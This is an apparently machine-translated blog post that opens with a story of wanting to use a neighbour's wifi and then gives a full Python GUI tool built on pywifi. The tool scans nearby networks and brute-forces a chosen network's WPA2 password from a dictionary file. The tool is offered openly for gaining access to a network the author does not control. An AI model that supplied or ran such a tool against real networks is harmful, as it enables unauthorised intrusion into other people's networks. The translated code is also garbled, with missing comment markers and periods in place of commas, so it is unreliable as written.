Now created an Android development water friends circle, the circle will not regularly update some Android advanced advanced information, welcome everyone with technical problems to discuss, grow together! (Including senior UI engineer, Android underlying development engineer, Android architect, native performance optimization and hybrid optimization, flutter expertise); The hope has the technology big guy to join, the water circle inside solves the problem more obtains the right bigger!
Last night, the Internet stopped at home. For the code farmers, the Internet stopped. Can you bear it? Called the network repairman and said it was too late and he wouldn’t be here until the next day…

Suddenly I found that the wifi signal of the girl next door was full, which made me want to see if there was a way to get off the Internet. First, I used the master key, but it didn’t work

Pywifi is a component that will do the trick. Pywifi is a component that will do the trick.

So let’s record my operation.

Train of thought

For a given wifi name, we cycle through the password to try each one, and if it fails, disconnect until it succeeds.

That is, import the required third-party library (please download and install it by yourself), call the nic interface through Pywifi, do the test in turn, and read the password repeatedly to try to connect. Here you only need to change the password file path and wifi name.

Environment to prepare

  • python2.7
  • Pywifi module
  • The dictionary
The import module

from pywifi import *Copy the code
The dictionary to

Random wifi weak password TOP10. A line contains only one set of passwords, and the script reads each in turn until it finds the correct one.

The complete code

# coding:utf-8

from tkinter import *
from tkinter import ttk  
import pywifi
from pywifi import const
import time
import tkinter.filedialog
import tkinter.messagebox

class MY_GUI():
  def __init__(self,init_window_name):
    self.init_window_name = init_window_name
    
    Password file path
    self.get_value = StringVar()
    
    # Get cracked wifi account
    self.get_wifi_value = StringVar()
    
    Get wifi password
    self.get_wifimm_value = StringVar()
    
    self.wifi = pywifi.PyWiFi()  Grab the nic interface
    self.iface = self.wifi.interfaces()[0] Grab the first wireless card
    self.iface.disconnect()  # Test links disconnect all links
    time.sleep(1)  Sleep for 1 second
    Check whether the nic is disconnected
    assert self.iface.status() in\
        [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
  
  def __str__(self):
    return '(WIFI:%s,%s)' % (self.wifi,self.iface.name())
    
  # Setup window
  def set_init_window(self):
    self.init_window_name.title("WIFI Cracking Tool")
    self.init_window_name.geometry('+ 500 + 200')
    
    labelframe = LabelFrame(width=400, height=200,text="Configuration")
    labelframe.grid(column=0, row=0, padx=10, pady=10)
    
    self.search = Button(labelframe,text="Search for nearby WiFi".command=self.scans_wifi_list).grid(column=0,row=0)
    
    self.pojie = Button(labelframe,text="Start cracking.".command=self.readPassWord).grid(column=1,row=0)
    
    self.label = Label(labelframe,text="Directory path:").grid(column=0,row=1)
    
    self.path = Entry(labelframe,width=12,textvariable = self.get_value).grid(column=1,row=1)
    
    self.file = Button(labelframe,text="Add password file directory".command=self.add_mm_file).grid(column=2,row=1)
    
    self.wifi_text = Label(labelframe,text="WiFi Account:").grid(column=0,row=2)
    
    self.wifi_input = Entry(labelframe,width=12,textvariable = self.get_wifi_value).grid(column=1,row=2)
    
    self.wifi_mm_text = Label(labelframe,text="WiFi password:").grid(column=2,row=2)
    
    self.wifi_mm_input = Entry(labelframe,width=10,textvariable = self.get_wifimm_value).grid(column=3,row=2,sticky=W)
    
    self.wifi_labelframe = LabelFrame(text="Wifi list")
    self.wifi_labelframe.grid(column=0, row=3,columnspan=4,sticky=NSEW)
    
    
    # Define tree structure with scroll bar
    self.wifi_tree = ttk.Treeview(self.wifi_labelframe,show="headings",columns=("a"."b"."c"."d"))    
    self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)       
    self.wifi_tree.configure(yscrollcommand=self.vbar.set)
    
    # Table title
    self.wifi_tree.column("a", width=50, anchor="center")
    self.wifi_tree.column("b", width=100, anchor="center")
    self.wifi_tree.column("c", width=100, anchor="center")
    self.wifi_tree.column("d", width=100, anchor="center")
         
    self.wifi_tree.heading("a", text="WiFiID")
    self.wifi_tree.heading("b", text="SSID")
    self.wifi_tree.heading("c", text="BSSID")
    self.wifi_tree.heading("d", text="signal")
        
    self.wifi_tree.grid(row=4,column=0,sticky=NSEW)
    self.wifi_tree.bind("<Double-1>",self.onDBClick)
    self.vbar.grid(row=4,column=1,sticky=NS)
    
  # search wifi
  #cmd /k C:\Python27\python.exe "$(FULL_CURRENT_PATH)" & PAUSE & EXIT
  def scans_wifi_list(self):  # Scan the wifi list around you
    # start scanning
    print("^_^ start scanning nearby wifi...")
    self.iface.scan()
    time.sleep(15)
    # Obtain scan results after several seconds
    scanres = self.iface.scan_results()
    # Count the number of hot spots found nearby
    nums = len(scanres)
    print("Quantity: %s"%(nums))
    #print ("| %s | %s | %s | %s"%("WIFIID","SSID","BSSID","signal"))
    # Actual data
    self.show_scans_wifi_list(scanres)
    return scanres
  
  # Display wifi list
  def show_scans_wifi_list(self,scans_res):
    for index,wifi_info in enumerate(scans_res):
            # print("%-*s| %s | %*s |%*s\n"%(20,index,wifi_info.ssid,wifi_info.bssid,,wifi_info.signal))
      self.wifi_tree.insert("".'end',values=(index + 1,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))
      #print("| %s | %s | %s | %s \n"%(index,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))
  
  Add password file directory
  def add_mm_file(self):
    self.filename = tkinter.filedialog.askopenfilename()
    self.get_value.set(self.filename)
  
  #Treeview binding event
  def onDBClick(self,event):
    self.sels= event.widget.selection()
    self.get_wifi_value.set(self.wifi_tree.item(self.sels,"values") [1])#print("you clicked on",self.wifi_tree.item(self.sels,"values")[1])
  
  Read the password dictionary and match it
  def readPassWord(self):
    self.getFilePath = self.get_value.get()
    #print(" File path: %s\n" %(self.getFilepath))
    self.get_wifissid = self.get_wifi_value.get()
    # print (" ssid: % s \ n "% (self. Get_wifissid))
    self.pwdfilehander=open(self.getFilePath,"r",errors="ignore")
    while True:
        try:
          self.pwdStr =self.pwdfilehander.readline()
          #print(" password: %s "%(self.pwdstr))
          if not self.pwdStr:
            break
          self.bool1=self.connect(self.pwdStr,self.get_wifissid)
          #print(" return value: %s\n" %(self.bool1))
          if self.bool1:
            # print(" correct password: "+pwdStr
            # res = "password :%s correct \n"%self.pwdStr;
            self.res = "=== correct === wifi name :%s Matching password :%s"%(self.get_wifissid,self.pwdStr)
            self.get_wifimm_value.set(self.pwdStr)
            tkinter.messagebox.showinfo('tip'.'Cracked successfully!! ')
            print(self.res)
            break
          else:
            # print(" password :"+self.pwdStr+" error ")
            self.res = "-- Error -- wifi name :%s Matching password :%s"%(self.get_wifissid,self.pwdStr)
            print(self.res)
          sleep(3)
        except:
          continue
  
  # match wifi with password
  def connect(self,pwd_Str,wifi_ssid):
    Create a wifi link file
    self.profile = pywifi.Profile()
    self.profile.ssid =wifi_ssid # the name of the wifi
    self.profile.auth = const.AUTH_ALG_OPEN  # Network card opening
    self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi encryption algorithm
    self.profile.cipher = const.CIPHER_TYPE_CCMP    # Encryption unit
    self.profile.key = pwd_Str # your password
    self.iface.remove_all_network_profiles() Delete all wifi files
    self.tmp_profile = self.iface.add_network_profile(self.profile)Set up a new link file
    self.iface.connect(self.tmp_profile)# link
    time.sleep(5)
    if self.iface.status() == const.IFACE_CONNECTED:  # check whether the link is connected
      isOK=True   
    else:
      isOK=False
    self.iface.disconnect() # disconnect
    time.sleep(1)
    Check the disconnect status
    assert self.iface.status() in\
        [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
    return isOK
    
def gui_start():
  init_window = Tk()
  ui = MY_GUI(init_window)
  print(ui)
  ui.set_init_window()
  #ui.scans_wifi_list()
  
  init_window.mainloop()
  
gui_start()Copy the code

The results of

The result is shown below. You can start running by following the operation of the graphical interface.

Other comments are welcome. Questions welcome message discussion; Into the circle: attention, private reply to my ‘data’ can be into the circle. Or check the home page to enter the circle